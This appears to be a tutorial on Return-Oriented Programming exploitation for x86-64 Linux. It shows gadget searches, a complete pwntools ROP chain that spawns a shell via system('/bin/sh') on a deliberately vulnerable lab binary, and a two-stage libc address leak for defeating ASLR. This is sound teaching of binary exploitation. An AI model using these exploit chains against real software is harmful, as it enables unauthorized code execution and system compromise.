Modern binaries are hardened with protections that make traditional shellcode injection impractical. NX (No-Execute) — also called DEP (Data Execution Prevention) on Windows — marks the stack and heap as non-executable, so code you inject there won’t run. Return-Oriented Programming (ROP) sidesteps this entirely by reusing existing executable code already in the binary or its libraries. Understanding ROP is essential for anyone serious about binary exploitation.
The Core Concept
A ROP chain works by chaining together small code snippets called gadgets — short sequences of instructions already present in the binary that end with a ret instruction. Because the code already lives in executable memory, NX doesn’t block it.
The stack becomes a chain of return addresses. When the processor executes ret, it pops the top of the stack into the instruction pointer and jumps there. By carefully arranging return addresses (and data) on the stack, you can chain gadgets to perform arbitrary computation.
A simple gadget:
pop rdi ; ret
If you place the value 0xdeadbeef on the stack before this gadget’s address, the gadget pops 0xdeadbeef into rdi, then ret transfers control to the next address on the stack. Chain enough of these and you can set up syscall arguments to spawn a shell.
Setup: Disabling ASLR for Learning
When first learning ROP, disable ASLR to work with fixed addresses:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
Compile a vulnerable test binary:
# Compile without stack canaries, with NX enabled
gcc -o vuln vuln.c -fno-stack-protector -no-pie
checksec --file=vuln
checksec output shows what protections are active:
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE
NX enabled but no canary — a classic ROP scenario.
Finding Gadgets with ROPgadget
ROPgadget is the standard tool for finding usable gadgets in a binary.
pip install ROPgadget
ROPgadget --binary ./vuln
Find specific gadgets:
# Find gadgets that pop into rdi
ROPgadget --binary ./vuln --re "pop rdi"
# Find gadgets containing ret
ROPgadget --binary ./vuln --re "ret$"
# Search in libc
ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --re "pop rdi"
Example output:
Gadgets information
============================================================
0x00000000004006b3 : pop rdi ; ret
0x00000000004006b1 : pop rsi ; pop r15 ; ret
0x00000000004006af : pop r14 ; pop r15 ; ret
Finding Gadgets with ropper
ropper is an alternative with a nicer interface and filtering options:
pip install ropper
ropper -f ./vuln --search "pop rdi"
ropper also supports interactive mode:
ropper -f ./vuln
# Then interactively:
search pop rdi
Constructing a Basic ROP Chain (x86-64 Linux)
The goal: call system("/bin/sh") without injecting shellcode.
Step 1: Find the buffer overflow offset
Use a cyclic pattern to find how many bytes reach the return address:
from pwn import *
payload = cyclic(200)
io = process("./vuln")
io.sendline(payload)
io.wait()
core = io.corefile
offset = cyclic_find(core.read(core.rsp, 4))
print(f"Offset: {offset}")
Step 2: Locate necessary gadgets
ROPgadget --binary ./vuln --re "pop rdi ; ret"
# Output: 0x4006b3
ROPgadget --binary ./vuln --re "ret$"
# Output: 0x4006b4 (single ret for stack alignment)
Step 3: Find the address of /bin/sh and system
# In GDB
(gdb) info proc mappings
(gdb) find &system, +99999999, "/bin/sh"
Or with pwntools when ASLR is disabled:
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
binsh = next(libc.search(b"/bin/sh"))
system = libc.sym["system"]
Step 4: Build the chain
from pwn import *
elf = ELF("./vuln")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
pop_rdi = 0x4006b3 # pop rdi ; ret
ret = 0x4006b4 # ret (for 16-byte stack alignment)
binsh = 0x7ffff7f57698 # address of "/bin/sh" in libc
system = 0x7ffff7c50d70 # address of system() in libc
offset = 72 # bytes to reach return address
payload = b"A" * offset
payload += p64(pop_rdi) # set first argument (rdi) = &"/bin/sh"
payload += p64(binsh)
payload += p64(ret) # stack alignment for system()
payload += p64(system) # call system("/bin/sh")
io = process("./vuln")
io.sendline(payload)
io.interactive()
Dealing with ASLR: ret2plt and ret2libc
With ASLR enabled, library addresses change each run. The solution is a leak — use a gadget to call puts@plt with the GOT address of a function to print its runtime address, calculate the libc base, then call system.
# Stage 1: leak libc address
payload1 = b"A" * offset
payload1 += p64(pop_rdi)
payload1 += p64(elf.got["puts"]) # address of puts in GOT
payload1 += p64(elf.plt["puts"]) # call puts to print it
payload1 += p64(elf.sym["main"]) # return to main to run again
io.sendline(payload1)
io.recvuntil(b"\n")
leaked_puts = u64(io.recv(6).ljust(8, b"\x00"))
libc_base = leaked_puts - libc.sym["puts"]
# Stage 2: call system with corrected addresses
system = libc_base + libc.sym["system"]
binsh = libc_base + next(libc.search(b"/bin/sh"))
Protections ROP Does NOT Bypass Alone
| Protection | Bypassed by ROP? | Additional technique needed |
|---|
| NX/DEP | Yes | Core purpose of ROP |
| ASLR | No | Requires information leak |
| Stack canary | No | Requires canary leak or overwrite |
| Full RELRO | No | Cannot overwrite GOT |
| CET (Control Flow Enforcement) | Partially | Significantly harder |
ROP is not a silver bullet, but it’s the essential first layer of any modern exploitation technique. Once you can build a reliable ROP chain, you have the foundation for attacking even heavily hardened binaries.